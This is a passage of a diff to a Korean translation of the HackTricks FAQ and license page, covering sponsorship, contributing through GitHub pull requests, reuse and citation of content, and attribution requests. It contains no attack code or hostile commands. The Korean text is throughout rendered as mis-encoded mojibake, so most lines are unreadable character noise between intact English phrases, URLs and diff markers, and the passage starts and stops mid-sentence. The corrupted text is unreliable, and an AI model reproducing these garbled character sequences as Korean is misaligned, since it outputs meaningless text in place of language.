์—ฐ๊ตฌ**๋„ ๊ฒŒ์žฌํ•ฉ๋‹ˆ๋‹ค. +> - ๊ฒฝ์šฐ์— ๋”ฐ๋ผ ๊ธฐ์ˆ ์˜ ์ค‘์š”ํ•œ ๋ถ€๋ถ„์„ HackTricks์— **์š”์•ฝ**๋งŒ ๊ฒŒ์žฌํ•˜๊ณ  ๋” ์ž์„ธํ•œ ๋‚ด์šฉ์„ ์œ„ํ•ด **๋…์ž๊ฐ€ ์›๋ฌธ ๊ฒŒ์‹œ๋ฌผ์„ ๋ฐฉ๋ฌธํ•˜๋„๋ก ๊ถŒ์žฅ**ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค. +> - **ORGANIZE** ์ฑ…์— ์žˆ๋Š” ๋ชจ๋“  **hacking** ๊ธฐ๋ฒ•์„ ์ •๋ฆฌํ•˜์—ฌ **MORE ACCESSIBLE** ํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. +> - HackTricks ํŒ€์€ ์‚ฌ๋žŒ๋“ค์ด **๋” ๋นจ๋ฆฌ ๋ฐฐ์šธ ์ˆ˜ ์žˆ๋„๋ก** ์ฝ˜ํ…์ธ ๋ฅผ ์ •๋ฆฌํ•˜๋Š” ๋ฐ๋งŒ ์ˆ˜์ฒœ ์‹œ๊ฐ„ ์ด์ƒ์„ ๋ฌด๋ฃŒ๋กœ ๋ฐ”์ณค์Šต๋‹ˆ๋‹ค.
-## HackTricks FAQ +## HackTricks faq > [!TIP] > -> - **Thank you so much for these resources, how can I thank you?** +> - **์ด๋Ÿฌํ•œ ์ž๋ฃŒ๋“ค์„ ์ œ๊ณตํ•ด ์ฃผ์…”์„œ ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ์–ด๋–ป๊ฒŒ ๊ฐ์‚ฌ ์ธ์‚ฌ๋ฅผ ๋“œ๋ฆด ์ˆ˜ ์žˆ๋‚˜์š”?** -๊ณต๊ฐœ์ ์œผ๋กœ HackTricks ํŒ€์ด ์ด ๋ชจ๋“  ์ž๋ฃŒ๋ฅผ ์ •๋ฆฌํ•ด ์ค€ ๊ฒƒ์— ๋Œ€ํ•ด ๊ฐ์‚ฌ ํ‘œ์‹œ๋ฅผ ํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด [**@hacktricks_live**](https://twitter.com/hacktricks_live)๋ฅผ ์–ธ๊ธ‰ํ•œ ํŠธ์œ—์œผ๋กœ ๊ณต๊ฐœ์ ์œผ๋กœ ๊ฐ์‚ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -ํŠนํžˆ ๊ฐ์‚ฌํ•˜๋‹ค๋ฉด [**sponsor the project here**](https://github.com/sponsors/carlospolop)์—์„œ ํ”„๋กœ์ ํŠธ๋ฅผ ํ›„์›ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.\ -๊ทธ๋ฆฌ๊ณ  Github ํ”„๋กœ์ ํŠธ์— **๋ณ„(star)์„ ์ฃผ๋Š” ๊ฒƒ**๋„ ์žŠ์ง€ ๋งˆ์„ธ์š”! (๋งํฌ๋Š” ์•„๋ž˜์—์„œ ์ฐพ์œผ์‹ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค). +์ด ๋ชจ๋“  ์ž๋ฃŒ๋ฅผ ์ •๋ฆฌํ•ด ์ฃผ์‹  HackTricks ํŒ€์—๊ฒŒ ๊ณต๊ฐœ์ ์œผ๋กœ ๊ฐ์‚ฌํ•˜๋ ค๋ฉด ํŠธ์œ—์—์„œ [**@hacktricks_live**](https://twitter.com/hacktricks_live)๋ฅผ ์–ธ๊ธ‰ํ•ด ์ฃผ์„ธ์š”.\ +ํŠนํžˆ ๊ฐ์‚ฌํ•˜์‹œ๋ฉด [**์—ฌ๊ธฐ์—์„œ ํ”„๋กœ์ ํŠธ๋ฅผ ํ›„์›**](https://github.com/sponsors/carlospolop)ํ•˜์‹ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +๊ทธ๋ฆฌ๊ณ  Github ํ”„๋กœ์ ํŠธ์— **๋ณ„(star)์„ ์ฃผ๋Š” ๊ฒƒ**์„ ์žŠ์ง€ ๋งˆ์„ธ์š”! (์•„๋ž˜์—์„œ ๋งํฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”). > [!TIP] > -> - **How can I contribute to the project?** +> - **ํ”„๋กœ์ ํŠธ์— ์–ด๋–ป๊ฒŒ ๊ธฐ์—ฌํ•  ์ˆ˜ ์žˆ๋‚˜์š”?** -์ปค๋ฎค๋‹ˆํ‹ฐ์™€ **์ƒˆ๋กœ์šด ํŒ๊ณผ ํŠธ๋ฆญ์„ ๊ณต์œ ํ•˜๊ฑฐ๋‚˜ ์ฑ…์—์„œ ๋ฐœ๊ฒฌํ•œ ๋ฒ„๊ทธ๋ฅผ ์ˆ˜์ •**ํ•˜๋ ค๋ฉด ํ•ด๋‹น Github ํŽ˜์ด์ง€์— **Pull Request**๋ฅผ ๋ณด๋‚ด์„ธ์š”: +์ฑ…์—์„œ ์ฐพ์€ **์ƒˆ๋กœ์šด ํŒ๊ณผ ํŠธ๋ฆญ์„ ์ปค๋ฎค๋‹ˆํ‹ฐ์— ๊ณต์œ ํ•˜๊ฑฐ๋‚˜ ๋ฒ„๊ทธ๋ฅผ ์ˆ˜์ •**ํ•˜๋ ค๋ฉด ํ•ด๋‹น Github ํŽ˜์ด์ง€์— **Pull Request**๋ฅผ ๋ณด๋‚ด์„ธ์š”: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) -Github ํ”„๋กœ์ ํŠธ์— **๋ณ„(star)์„ ์ฃผ๋Š” ๊ฒƒ**๋„ ์žŠ์ง€ ๋งˆ์„ธ์š”! +Github ํ”„๋กœ์ ํŠธ์— **๋ณ„(star)** ์ฃผ๋Š” ๊ฒƒ์„ ์žŠ์ง€ ๋งˆ์„ธ์š”! > [!TIP] > -> - **Can I copy some content from HackTricks and put it in my blog?** +> - **HackTricks์˜ ์ผ๋ถ€ ์ฝ˜ํ…์ธ ๋ฅผ ๋ณต์‚ฌํ•˜์—ฌ ๋‚ด ๋ธ”๋กœ๊ทธ์— ์˜ฌ๋ ค๋„ ๋˜๋‚˜์š”?** -๋„ค, ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋งŒ **๋‚ด์šฉ์„ ๊ฐ€์ ธ์˜จ ํŠน์ • ๋งํฌ(๋“ค)**์„ ๋ฐ˜๋“œ์‹œ ๋ช…์‹œํ•ด ์ฃผ์„ธ์š”. +๋„ค, ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ **์ฝ˜ํ…์ธ ๋ฅผ ๊ฐ€์ ธ์˜จ ํŠน์ • ๋งํฌ(๋“ค)๋ฅผ ๋ฐ˜๋“œ์‹œ ๋ช…์‹œ**ํ•˜์„ธ์š”. > [!TIP] > -> - **How can I reference a page of HackTricks?** +> - **HackTricks์˜ ํŽ˜์ด์ง€๋ฅผ ์–ด๋–ป๊ฒŒ ์ฐธ๊ณ  ํ‘œ๊ธฐํ•˜๋‚˜์š”?** -์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜จ ํŽ˜์ด์ง€์˜ ๋งํฌ๊ฐ€ ํ‘œ์‹œ๋˜์–ด ์žˆ์œผ๋ฉด ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค.\ -bibtex๊ฐ€ ํ•„์š”ํ•˜๋‹ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ˜•์‹์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜จ ํŽ˜์ด์ง€์˜ ๋งํฌ๊ฐ€ ํ‘œ์‹œ๋˜์–ด ์žˆ์œผ๋ฉด ๊ทธ๊ฒƒ๋งŒ์œผ๋กœ ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค.\ +BibTeX๊ฐ€ ํ•„์š”ํ•˜๋‹ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‚ฌ์šฉํ•˜์‹ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -64,47 +64,47 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, > > - **Can I copy all HackTricks in my blog?** -**๊ทธ๋ ‡๊ฒŒ ํ•˜์‹œ์ง€ ์•Š๋Š” ํŽธ์ด ์ข‹์Šต๋‹ˆ๋‹ค**. ๊ทธ๊ฑด **์•„๋ฌด์—๊ฒŒ๋„ ์ด๋กญ์ง€ ์•Š์Šต๋‹ˆ๋‹ค** โ€” ๋ชจ๋“  **์ฝ˜ํ…์ธ ๋Š” ์ด๋ฏธ ๊ณต์‹ HackTricks ์ฑ…์—์„œ ๋ฌด๋ฃŒ๋กœ ๊ณต๊ฐœ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค**. +**์ €๋Š” ๊ถŒํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค**. ๋ชจ๋“  **์ฝ˜ํ…์ธ ๋Š” ์ด๋ฏธ ๊ณต์‹ HackTricks ์ฑ…์—์„œ ๋ฌด๋ฃŒ๋กœ ๊ณต๊ฐœ๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์—** **๋ˆ„๊ตฌ์—๊ฒŒ๋„ ๋„์›€์ด ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค**. -์‚ฌ๋ผ์งˆ๊นŒ ๊ฑฑ์ •๋œ๋‹ค๋ฉด, Github์—์„œ fork ํ•˜๊ฑฐ๋‚˜ ๋‹ค์šด๋กœ๋“œํ•˜์„ธ์š”. ์•ž์„œ ๋งํ–ˆ๋“ฏ์ด ์ด๋ฏธ ๋ฌด๋ฃŒ์ž…๋‹ˆ๋‹ค. +๋งŒ์•ฝ ์‚ฌ๋ผ์งˆ๊นŒ ๊ฑฑ์ •๋œ๋‹ค๋ฉด, Github์—์„œ ํฌํฌํ•˜๊ฑฐ๋‚˜ ๋‹ค์šด๋กœ๋“œํ•˜์„ธ์š”. ์•ž์„œ ๋งํ–ˆ๋“ฏ ์ด๋ฏธ ๋ฌด๋ฃŒ์ž…๋‹ˆ๋‹ค. > [!WARNING] > > - **Why do you have sponsors? Are HackTricks books for commercial purposes?** -์ฒซ ๋ฒˆ์งธ **HackTricks** **๊ฐ€์น˜**๋Š” ์ „ ์„ธ๊ณ„ **๋ชจ๋‘(ALL)**์—๊ฒŒ **๋ฌด๋ฃŒ(FREE)** ํ•ดํ‚น ๊ต์œก ์ž๋ฃŒ๋ฅผ ์ œ๊ณตํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. HackTricks ํŒ€์€ ์ด ์ฝ˜ํ…์ธ ๋ฅผ ์ œ๊ณตํ•˜๊ธฐ ์œ„ํ•ด **์ˆ˜์ฒœ ์‹œ๊ฐ„**์„ ๊ธฐ์—ฌํ–ˆ์œผ๋ฉฐ, ๋‹ค์‹œ ๋งํ•˜์ง€๋งŒ **๋ฌด๋ฃŒ**์ž…๋‹ˆ๋‹ค. +์ฒซ ๋ฒˆ์งธ **HackTricks** **๊ฐ€์น˜**๋Š” ์ „ ์„ธ๊ณ„ **๋ชจ๋‘์—๊ฒŒ ๋ฌด๋ฃŒ๋กœ** ํ•ดํ‚น ๊ต์œก ์ž๋ฃŒ๋ฅผ ์ œ๊ณตํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. HackTricks ํŒ€์€ ์ด ์ฝ˜ํ…์ธ ๋ฅผ ์ œ๊ณตํ•˜๊ธฐ ์œ„ํ•ด **์ˆ˜์ฒœ ์‹œ๊ฐ„**์„ ๋ฐ”์ณค์œผ๋ฉฐ, ๋‹ค์‹œ ๋งํ•˜์ง€๋งŒ **๋ฌด๋ฃŒ**๋กœ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. -HackTricks ์ฑ…์ด **์ƒ์—…์  ๋ชฉ์ **์„ ์œ„ํ•œ ๊ฒƒ์ด๋ผ๊ณ  ์ƒ๊ฐํ•˜์‹ ๋‹ค๋ฉด, **์™„์ „ํžˆ ์˜คํ•ดํ•˜์‹  ๊ฒ๋‹ˆ๋‹ค**. +HackTricks ์ฑ…์ด **์ƒ์—…์  ๋ชฉ์ ์œผ๋กœ ๋งŒ๋“ค์–ด์กŒ๋‹ค**๊ณ  ์ƒ๊ฐํ•˜์‹ ๋‹ค๋ฉด, **์™„์ „ํžˆ ํ‹€๋ ธ์Šต๋‹ˆ๋‹ค**. -์Šคํฐ์„œ๊ฐ€ ์žˆ๋Š” ์ด์œ ๋Š” ๋ชจ๋“  ์ฝ˜ํ…์ธ ๊ฐ€ ๋ฌด๋ฃŒ์ด๋”๋ผ๋„, ์ปค๋ฎค๋‹ˆํ‹ฐ๊ฐ€ ์›ํ•  ๊ฒฝ์šฐ **์šฐ๋ฆฌ์˜ ์ž‘์—…์„ ํ›„์›ํ•  ์ˆ˜ ์žˆ๋Š” ์„ ํƒ์ง€**๋ฅผ ์ œ๊ณตํ•˜๊ณ  ์‹ถ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์‚ฌ๋žŒ๋“ค์—๊ฒŒ [**Github sponsors**](https://github.com/sponsors/carlospolop)๋ฅผ ํ†ตํ•ด HackTricks์— ๊ธฐ๋ถ€ํ•  ์ˆ˜ ์žˆ๋Š” ์˜ต์…˜์„ ์ œ๊ณตํ•˜๊ณ , **๊ด€๋ จ ์‚ฌ์ด๋ฒ„๋ณด์•ˆ ๊ธฐ์—…๋“ค**์ด HackTricks๋ฅผ ํ›„์›ํ•˜๊ณ  ์ฑ…์— **๊ด‘๊ณ (ads)**๋ฅผ ๊ฒŒ์žฌํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ๊ด‘๊ณ ๋Š” ํ•ญ์ƒ **๋ˆˆ์— ๋„์ง€๋งŒ ํ•™์Šต์„ ๋ฐฉํ•ดํ•˜์ง€ ์•Š๋Š” ์œ„์น˜**์— ๋ฐฐ์น˜๋ฉ๋‹ˆ๋‹ค. +์šฐ๋ฆฌ์—๊ฒ ์Šคํฐ์„œ๊ฐ€ ์žˆ๋Š” ์ด์œ ๋Š” ๋ชจ๋“  ์ฝ˜ํ…์ธ ๊ฐ€ ๋ฌด๋ฃŒ์ด๋”๋ผ๋„ ์ปค๋ฎค๋‹ˆํ‹ฐ๊ฐ€ ์›ํ•œ๋‹ค๋ฉด **์šฐ๋ฆฌ์˜ ์ž‘์—…์„ ๊ฐ์‚ฌํžˆ ์—ฌ๊ธธ ์ˆ˜ ์žˆ๋Š” ์„ ํƒ์ง€**๋ฅผ ์ œ๊ณตํ•˜๊ณ  ์‹ถ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์‚ฌ๋žŒ๋“ค์—๊ฒŒ [**Github sponsors**](https://github.com/sponsors/carlospolop)๋ฅผ ํ†ตํ•œ ํ›„์› ์˜ต์…˜์„ ์ œ๊ณตํ•˜๊ณ , **๊ด€๋ จ ์‚ฌ์ด๋ฒ„๋ณด์•ˆ ํšŒ์‚ฌ๋“ค**์ด HackTricks๋ฅผ ์Šคํฐ์„œํ•˜๋„๋ก ํ•˜๋ฉฐ ์ฑ… ๋‚ด์— **๊ด‘๊ณ ๋ฅผ ๊ฒŒ์žฌ**ํ•ฉ๋‹ˆ๋‹ค. ์ด **๊ด‘๊ณ ๋“ค**์€ ํ•ญ์ƒ **๋ˆˆ์— ๋„๋˜**, ๋ˆ„๊ตฐ๊ฐ€ ์ฝ˜ํ…์ธ ์— ์ง‘์ค‘ํ•  ๋•Œ **ํ•™์Šต์„ ๋ฐฉํ•ดํ•˜์ง€ ์•Š๋„๋ก** ๋ฐฐ์น˜๋ฉ๋‹ˆ๋‹ค. -HackTricks๋Š” ์ฝ˜ํ…์ธ ๊ฐ€ ํ›จ์”ฌ ์ ์€ ๋‹ค๋ฅธ ๋ธ”๋กœ๊ทธ๋“ค์ฒ˜๋Ÿผ ์„ฑ๊ฐ€์‹  ๊ด‘๊ณ ๋กœ ๊ฐ€๋“ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. HackTricks๋Š” ์ƒ์—…์  ๋ชฉ์ ์„ ์œ„ํ•ด ๋งŒ๋“ค์–ด์ง„ ๊ฒƒ์ด ์•„๋‹ˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. +HackTricks๋Š” ๋‹ค๋ฅธ ๋งŽ์€ ์ฝ˜ํ…์ธ ๋ณด๋‹ค ํ›จ์”ฌ ์ ์€ ์–‘์˜ ๋ธ”๋กœ๊ทธ๋“ค์ฒ˜๋Ÿผ ์„ฑ๊ฐ€์‹  ๊ด‘๊ณ ๋กœ ๊ฐ€๋“ ์ฐจ ์žˆ์ง€ ์•Š์Šต๋‹ˆ๋‹ค. HackTricks๋Š” ์ƒ์—…์  ๋ชฉ์ ์„ ์œ„ํ•ด ๋งŒ๋“ค์–ด์ง€์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. > [!CAUTION] > > - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?** -**์ •๋ง ์ฃ„์†กํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฐ ์ผ์ด ์žˆ์–ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค**. Github issues, Twitter, Discord ๋“ฑ์œผ๋กœ HackTricks ํŽ˜์ด์ง€์˜ ๋งํฌ์™€ ์›๋ณธ ๋ธ”๋กœ๊ทธ ๋งํฌ๋ฅผ ์•Œ๋ ค์ฃผ์‹œ๋ฉด **ํ™•์ธ ํ›„ ASAP๋กœ ์ถ”๊ฐ€ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค**. +**์ •๋ง ์ฃ„์†กํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฐ ์ผ์ด ์žˆ์–ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค.** Github ์ด์Šˆ, Twitter, Discord ๋“ฑ์œผ๋กœ ํ•ด๋‹น HackTricks ํŽ˜์ด์ง€์˜ ๋งํฌ์™€ ์—ฌ๋Ÿฌ๋ถ„ ๋ธ”๋กœ๊ทธ์˜ ๋งํฌ๋ฅผ ์•Œ๋ ค์ฃผ์‹œ๋ฉด **ํ™•์ธ ํ›„ ๊ฐ€๋Šฅํ•œ ๋นจ๋ฆฌ ์ถœ์ฒ˜๋ฅผ ์ถ”๊ฐ€ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค**. > [!CAUTION] > > - **What should I do if there is content from my blog in HackTricks and I don't want it there?** -HackTricks์— ๋‹น์‹ ์˜ ํŽ˜์ด์ง€์— ๋Œ€ํ•œ ๋งํฌ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ: +HackTricks์— ์—ฌ๋Ÿฌ๋ถ„์˜ ํŽ˜์ด์ง€ ๋งํฌ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ด์ ์ด ์žˆ์Šต๋‹ˆ๋‹ค: -- ๋‹น์‹ ์˜ **SEO**๊ฐ€ ํ–ฅ์ƒ๋ฉ๋‹ˆ๋‹ค. -- ํ•ด๋‹น ์ฝ˜ํ…์ธ ๊ฐ€ **15๊ฐœ ์ด์ƒ์˜ ์–ธ์–ด๋กœ ๋ฒˆ์—ญ**๋˜์–ด ๋” ๋งŽ์€ ์‚ฌ๋žŒ์ด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. -- **HackTricks๋Š”** ์‚ฌ๋žŒ๋“ค์—๊ฒŒ **์›๋ฌธ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜๋„๋ก ๊ถŒ์žฅ**ํ•ฉ๋‹ˆ๋‹ค(๋ช‡๋ช‡ ํŽ˜์ด์ง€ ์†Œ์œ ์ž๋“ค์€ ์ž์‹ ์˜ ํŽ˜์ด์ง€๊ฐ€ HackTricks์— ์˜ฌ๋ผ๊ฐ„ ์ดํ›„ ๋ฐฉ๋ฌธ์ž๊ฐ€ ๋Š˜์—ˆ๋‹ค๊ณ  ์•Œ๋ ค์ฃผ์—ˆ์Šต๋‹ˆ๋‹ค). +- ์—ฌ๋Ÿฌ๋ถ„์˜ **SEO**๊ฐ€ ํ–ฅ์ƒ๋ฉ๋‹ˆ๋‹ค +- ํ•ด๋‹น ์ฝ˜ํ…์ธ ๊ฐ€ **15๊ฐœ ์ด์ƒ์˜ ์–ธ์–ด๋กœ ๋ฒˆ์—ญ**๋˜์–ด ๋” ๋งŽ์€ ์‚ฌ๋žŒ์ด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค +- **HackTricks๋Š”** ์‚ฌ๋žŒ๋“ค์—๊ฒŒ **์—ฌ๋Ÿฌ๋ถ„์˜ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜๋„๋ก ์žฅ๋ ค**ํ•ฉ๋‹ˆ๋‹ค (์ผ๋ถ€ ํŽ˜์ด์ง€ ์†Œ์œ ์ž๋“ค์€ ์ž์‹ ์˜ ํŽ˜์ด์ง€๊ฐ€ HackTricks์— ํฌํ•จ๋œ ์ดํ›„ ๋ฐฉ๋ฌธ์ž๊ฐ€ ๋Š˜์—ˆ๋‹ค๊ณ  ์•Œ๋ ค์™”์Šต๋‹ˆ๋‹ค) -๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ๋ธ”๋กœ๊ทธ์˜ ์ฝ˜ํ…์ธ ๋ฅผ HackTricks์—์„œ ์ œ๊ฑฐํ•˜๊ธฐ ์›ํ•˜์‹œ๋ฉด ์•Œ๋ ค์ฃผ์‹ญ์‹œ์˜ค. ์ €ํฌ๋Š” ํ™•์‹คํžˆ **๋‹น์‹ ์˜ ๋ธ”๋กœ๊ทธ๋กœ์˜ ๋ชจ๋“  ๋งํฌ์™€ ํ•ด๋‹น ๊ธฐ๋ฐ˜์˜ ์ฝ˜ํ…์ธ ๋ฅผ ์ œ๊ฑฐ**ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. +๊ทธ๋Ÿฌ๋‚˜ ๊ทธ๋ž˜๋„ HackTricks์—์„œ ์—ฌ๋Ÿฌ๋ถ„ ๋ธ”๋กœ๊ทธ์˜ ์ฝ˜ํ…์ธ ๋ฅผ ์ œ๊ฑฐํ•˜๊ธธ ์›ํ•˜์‹œ๋ฉด ์•Œ๋ ค์ฃผ์„ธ์š”. ์ €ํฌ๋Š” ํ™•์‹คํžˆ **์—ฌ๋Ÿฌ๋ถ„ ๋ธ”๋กœ๊ทธ๋กœ์˜ ๋ชจ๋“  ๋งํฌ๋ฅผ ์ œ๊ฑฐ**ํ•˜๊ณ  ํ•ด๋‹น ๊ธฐ๋ฐ˜์˜ ๋ชจ๋“  ์ฝ˜ํ…์ธ ๋ฅผ ์‚ญ์ œํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. > [!CAUTION] > > - **What should I do if I find copy-pasted content in HackTricks?** -์šฐ๋ฆฌ๋Š” ํ•ญ์ƒ **์›์ €์ž์—๊ฒŒ ๋ชจ๋“  ํฌ๋ ˆ๋”ง์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค**. ๋งŒ์•ฝ ์›๋ณธ ์ถœ์ฒ˜๊ฐ€ ์ฐธ์กฐ๋˜์ง€ ์•Š์€ ์ฑ„ ๋ณต์‚ฌ-๋ถ™์—ฌ๋„ฃ๊ธฐ๋œ ํŽ˜์ด์ง€๋ฅผ ๋ฐœ๊ฒฌํ•˜์‹œ๋ฉด ์•Œ๋ ค์ฃผ์‹ญ์‹œ์˜ค. ์ €ํฌ๋Š” ํ•ด๋‹น ๋‚ด์šฉ์„ **์‚ญ์ œ**, **๋ณธ๋ฌธ ์•ž์— ๋งํฌ ์ถ”๊ฐ€**, ๋˜๋Š” **๋งํฌ๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ์žฌ์ž‘์„ฑ**ํ•˜๋Š” ๋ฐฉ์‹ ์ค‘ ํ•˜๋‚˜๋กœ ์ฒ˜๋ฆฌํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. +์šฐ๋ฆฌ๋Š” ํ•ญ์ƒ **์›์ €์ž์—๊ฒŒ ๋ชจ๋“  ํฌ๋ ˆ๋”ง์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค**. ๋งŒ์•ฝ ์› ์ถœ์ฒ˜ ์—†์ด ๋ณต์‚ฌ-๋ถ™์—ฌ๋„ฃ๊ธฐ๋œ ์ฝ˜ํ…์ธ ๊ฐ€ ์žˆ๋Š” ํŽ˜์ด์ง€๋ฅผ ๋ฐœ๊ฒฌํ•˜์‹œ๋ฉด ์•Œ๋ ค์ฃผ์„ธ์š”. ๊ทธ๋Ÿฌ๋ฉด ์ €ํฌ๋Š” ํ•ด๋‹น ๋‚ด์šฉ์„ **์‚ญ์ œ**ํ•˜๊ฑฐ๋‚˜, **ํ…์ŠคํŠธ ์•ž์— ์ถœ์ฒ˜ ๋งํฌ๋ฅผ ์ถ”๊ฐ€**ํ•˜๊ฑฐ๋‚˜, **์ถœ์ฒ˜ ๋งํฌ๋ฅผ ๋„ฃ์–ด ์žฌ์ž‘์„ฑ**ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. -## LICENSE +## ๋ผ์ด์„ ์Šค Copyright ยฉ All rights reserved unless otherwise specified. @@ -114,30 +114,30 @@ Copyright ยฉ All rights reserved unless otherwise specified. - Share โ€” copy and redistribute the material in any medium or format. - Adapt โ€” remix, transform, and build upon the material. -#### Additional Terms: +#### ์ถ”๊ฐ€ ์กฐ๊ฑด: -- Third-Party Content: ์ด ๋ธ”๋กœ๊ทธ/์ฑ…์˜ ์ผ๋ถ€๋Š” ๋‹ค๋ฅธ ๋ธ”๋กœ๊ทธ๋‚˜ ์ถœํŒ๋ฌผ์—์„œ ๋ฐœ์ทŒํ•œ ๋‚ด์šฉ ๋“ฑ ์ œ3์ž ์ถœ์ฒ˜์˜ ์ฝ˜ํ…์ธ ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ฝ˜ํ…์ธ ์˜ ์‚ฌ์šฉ์€ ๊ณต์ • ์‚ฌ์šฉ ์›์น™์— ๋”ฐ๋ผ ์ด๋ฃจ์–ด์ง€๊ฑฐ๋‚˜ ํ•ด๋‹น ์ €์ž‘๊ถŒ ๋ณด์œ ์ž์˜ ๋ช…์‹œ์  ํ—ˆ๊ฐ€๋ฅผ ๋ฐ›์•„ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. ์ œ3์ž ์ฝ˜ํ…์ธ ์— ๋Œ€ํ•œ ๊ตฌ์ฒด์  ๋ผ์ด์„ ์Šค ์ •๋ณด๋Š” ์›๋ฌธ ์ถœ์ฒ˜๋ฅผ ์ฐธ์กฐํ•˜์‹œ๊ธฐ ๋ฐ”๋ž๋‹ˆ๋‹ค. -- Authorship: HackTricks๊ฐ€ ์›์ €์ž๋กœ ์ž‘์„ฑํ•œ ์ฝ˜ํ…์ธ ๋Š” ๋ณธ ๋ผ์ด์„ ์Šค์˜ ์ ์šฉ์„ ๋ฐ›์Šต๋‹ˆ๋‹ค. ๊ณต์œ ํ•˜๊ฑฐ๋‚˜ ์ˆ˜์ •ํ•  ๋•Œ ์ €์ž‘์ž์—๊ฒŒ ์ถœ์ฒ˜๋ฅผ ํ‘œ๊ธฐํ•  ๊ฒƒ์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค. +- Third-Party Content: ์ด ๋ธ”๋กœ๊ทธ/์ฑ…์˜ ์ผ๋ถ€๋Š” ๋‹ค๋ฅธ ๋ธ”๋กœ๊ทธ๋‚˜ ์ถœํŒ๋ฌผ์˜ ๋ฐœ์ทŒ๋ฌธ๊ณผ ๊ฐ™์€ ์ œ3์ž ์ถœ์ฒ˜์˜ ์ฝ˜ํ…์ธ ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ฝ˜ํ…์ธ ์˜ ์‚ฌ์šฉ์€ ๊ณต์ • ์‚ฌ์šฉ ์›์น™์— ๋”ฐ๋ฅด๊ฑฐ๋‚˜ ํ•ด๋‹น ์ €์ž‘๊ถŒ ๋ณด์œ ์ž๋กœ๋ถ€ํ„ฐ ๋ช…์‹œ์  ํ—ˆ๊ฐ€๋ฅผ ๋ฐ›์•„ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. ์ œ3์ž ์ฝ˜ํ…์ธ ์˜ ํŠน์ • ๋ผ์ด์„ ์Šค ์ •๋ณด๋Š” ์› ์ถœ์ฒ˜๋ฅผ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค. +- Authorship: HackTricks๊ฐ€ ์ž‘์„ฑํ•œ ์›๋ณธ ์ฝ˜ํ…์ธ ๋Š” ์ด ๋ผ์ด์„ ์Šค์˜ 